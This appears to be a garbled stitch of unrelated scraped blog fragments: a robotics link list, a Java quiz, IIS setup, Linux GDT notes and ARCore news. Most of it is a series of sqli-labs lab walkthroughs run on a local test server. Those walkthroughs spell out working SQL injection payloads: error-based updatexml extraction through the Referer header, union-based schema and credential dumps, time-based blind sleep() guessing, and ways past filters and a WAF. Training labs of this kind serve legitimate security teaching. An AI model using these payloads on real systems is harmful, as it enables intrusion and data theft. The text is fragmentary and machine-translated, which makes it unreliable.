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1.Introduction to Control of Mobile Robots https://www.youtube.com/watch?v=KZEWLZJwYNclist= plciaw3uhncid3dkltpjghomnsu8xgct1mhttp://gritslab.gatech.edu/home/people/2.The DREAM LABHTTP://DREAM.GEORGIATECH-METZ.FR/?Q=NODE/133.introduction-to-autonomous-robotshttps://github.com/correll/introduction-to-autonomous-robots/releases4.correll Lab CU Computer sciencehttp://correll.cs.colorado.edu/?page_id=31235.roscon2013https://vimeo.com/search?q=roscon20136.youBot ROS Http://www.youbot-store.com/wiki/
result will be the inaccurate problem of floating-point arithmetic. Six, (1) What is the output of the following code? int x=100;int y=200;System.out.println ("x+y=" +x+y);System.out.println (x+y+ "=x+y");The result: x+y=100200 300=x+y(2) Why are there such output results?A: Because a variable of type string plus any other basic type of variable will be treated as a string. And the output of the first statement inside x+y is not enclosed in parentheses, it becomes a string, the function of the
-bPhysical path Select C DriveNew Folder JipingIP address Assignment 192.168.100.10Next into the C-drive Jiping folderWe will find that the folder is empty, the contents of which we need to populate and to be able to recognize the Web page formatThe format of each hasSo how do we operate in the empty folder in C-disk?Build a text documentinto a text document plus what you want to say or want to express I'll just show you around here.Press the Ctrl+s key to save the exit to change the file nameSo
set below, and the GDT's address is labeled "GDT" to calibrate! The GDT has 8 bytes, so in gdt_48 there are 256 entires, 256! The meanings of the subsequent values are then clearly annotated by Linus.GDT:. Word 0,0,0,0! Dummy. Word 0x07ff! 8mb-limit=2047 (2048*4096=8MB), Duan 8MB. Word 0x0000! Base address=0x00000, site 0x00000, real mode with 20-bit address code, 2^20 addressing space.. Word 0x9a00! Code Read/exec, which represents a snippet, readable executable. Word 0x00c0! granularity=4096,
ARCore has brought augmented reality to millions of Android phones, and many developers have started experimenting with their software tools development kits (SDK) and Unity, Unreal, and more. At present, Google Daydream Labs has conducted a number of related experiments to study the unique ways in which people explore the world, different forms of navigation, and new ways for people to socialize and entertain with related applications.
Next, let's lo
Tags: pass tables img Style upd limit inject ref blogThis, like Less18, is a header-based injection.This time the field is Referer123 ' and Updatexml (1,concat (0x7e,database (), 0x7e), 1), 1) #Referer:123 ' and Updatexml (1,concat (0x7e, (select table_name from information_schema.tables where table_schema= ' Security ' limit 0,1), 0x7e), 1), 1) #Referer:123 ' and Updatexml (1,concat (0x7e, (select column_name from information_schema.columns where table_schema= ' Security ' and table_name= ' use
Simple login to browse once, found to be a login registration change password applicationReview the CodeThe Username,password of the landing page uses an escapeThe parameters of the registration page are also escapedBut in the modified Password page, directly from the session to get the usernameSo there is a problem, username is created at registration, although escaped, but no restrictions on the input charactersTake a look at the SQL statement that changed the password$sql = "UPDATE users SET
Tags: interpreting ima alt. com technology amp PNG picture one29th PassThe intervention is that there is a WAF, which is really just a scenario for simulating a waf, meaning that the variables handled by WAF are inconsistent with the variables accepted by the daemon.Test the parameters of pollution, specific can refer to other articles on the HPP interpretation.First look at the source bar:Input? id=1id= ' Union Select 1,database (), 3--%20Can see I print this 1, this is the WAF processing varia
Tags: free ASE technology constructor font technology share delay length 1' or 1=1# and fail 1 "or 1=1# 1=1#-- fail 11=1 # --> Success Judging by double-quote deformation injectionUsing the Sleep function to determine the database name length1 or if (Length (database())=7,1, Sleep (5)) #Time delay does appear, but not 5sExecute it in the database+There are 13 data in the Users table, where a condition match occurs becau
information_schema.schemata-- + LIMIT 0,1?Data sheet for the explosion security databaseHTTP://127.0.0.1/SQLLIB/LESS-1/?ID=-1%27UNION%20SELECT%201,GROUP_CONCAT (table_name), 3%20from%20information_ schema.tables%20where%20table_schema=%27security%27--+The SQL statement at this time is select * from the users where id= '-1 ' union SELECT 1,GROUP_CONCAT (TABLE_NAME), 3 from Information_schema.tables where Table_schema= ' security '--+ LIMIT 0,1?To explode the columns of the Users tableHttp://127.
Label:Less-4We use the id=1. After injecting the code, we get an error like this: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘"1"") LIMIT 0,1‘ at line 1
Here it means that the ID parameter is wrapped in "" and () in the code. So we're going to inject it with this code: ?id=1")–-+
In this way, we can get the user name and password, and the subsequent query has been commented out. In the source code of t
Less-3We use? id= 'After injecting the code, we get an error like this:MySQL?server?version?for?the?right?syntax?to?use?near?"")?LIMIT?0,1′?at?line?1Here it means that the query that the developer uses is:Select?login_name,?select?password?from?table?where?id=?(‘our?input?here‘)So we're going to inject it with this code:?id=1′)?–-+In this way, we can get the user name and password, and the subsequent query has been commented out.In the source code of the SQL query statement, 31 rows:$sql="SELECT
://127.0.0.1/sqllib/Less-9/?id=1 ' and If (ASCII (SUBSTR ((select table_name from Information_schema.tables where Table_schema= ' security ' limit), =114,1,sleep (5))--+Guess the first bit of the second data table is R,... By analogy, get referers...And so on, we can get all the datasheets emails,referers,uagents,usersGuess the columns of the Users table:Http://127.0.0.1/sqllib/Less-9/?id=1 ' and If (ASCII (substr ((select column_name from Information_schema.columns where Table_name= ' users ' l
Label:less-26aThe difference between this and 26 is that the SQL statement adds a parenthesis and does not output on the foreground page after the SQL statement executes the throw error. All of us exclude the error injection, here is still using union injection.The SQL statement is the SELECT * from Users WHERE id= (' $id ') LIMIT 0,1We construct payload:http://127.0.0.1/sqllib/Less-26a/?id=100 ') union%a0select%a01,2,3| | (' 1Explain: base and 261, we directly use ') to close the front, and the
Less-10We can see "time-double quotation mark" from the headline, so it is obvious that we should use the delay injection, while the ID parameter is "processing." The difference with LESS9 is that the single quotation mark (') becomes the ("), we give a payload example here, the others refer to less-9Guessing database:Http://127.0.0.1/sqllib/Less-10/?id=1 "And%20if (ASCII (substr () (Database ()) =115,1,sleep (5))--+For the rest of the examples please refer to LESS9, which does not demonstrateSq
Less-15There is no error in this note, so we can only inject it by guessing. Here I see the SQL statements directly from the source code@ $sql = "Select username, password from users WHERE username= ' $uname ' and password= ' $passwd ' LIMIT 0,1 ';That's where the ID is handled by ' ID '.We use delay injection to do this.Guess the first bit of database name:Uname=admin ' and If (ASCII (substr (Database (),)) =115,1,sleep (5)) #passwd= submit= SubmitThe correct time can be directly logged in, inc
Less-18We are here to learn from the source code directlyThe Check_input () function is handled for uname and passwd, so it is not possible to inject on the input uname and passwd, but in the code we see the Insert ()$insert = "INSERT INTO ' security '. ' Uagents ' (' uagent ', ' ip_address ', ' username ') VALUES (' $uagent ', ' $IP ', $uname)";Insert useragent and IP into the database, then can we use this to inject it?IP Address We change here is not very convenient, but useragent modificatio
Less-12This and LESS11 are similar, but there is a certain difference in the processing of ID parametersWhen input Username:admin "Password: (Casual)The result after the error is:You have a error in your SQL syntax; check the manual, corresponds to your MySQL server version for the right SYN Qweqwe") LIMIT 0,1 ' at line 1Focus on the red part of the above, that is, "the" section, we can learn that the ID here ("id") processing, so we can still use the universal password to try.Username:admin "
Less-26TIPS: This may have friends in Windows can not use some special characters in lieu of space, here is because of the problem of Apache parsing, please replace this here to Linux platform.This close combination of 25 off, will be space, or,and,/*,#,--,/and other symbols filter, here for And,or treatment method no longer repeat, refer to 25. Here we need to illustrate two things: for comments and trailing characters we can only use the construction of a ' to close the back to '; There are mo
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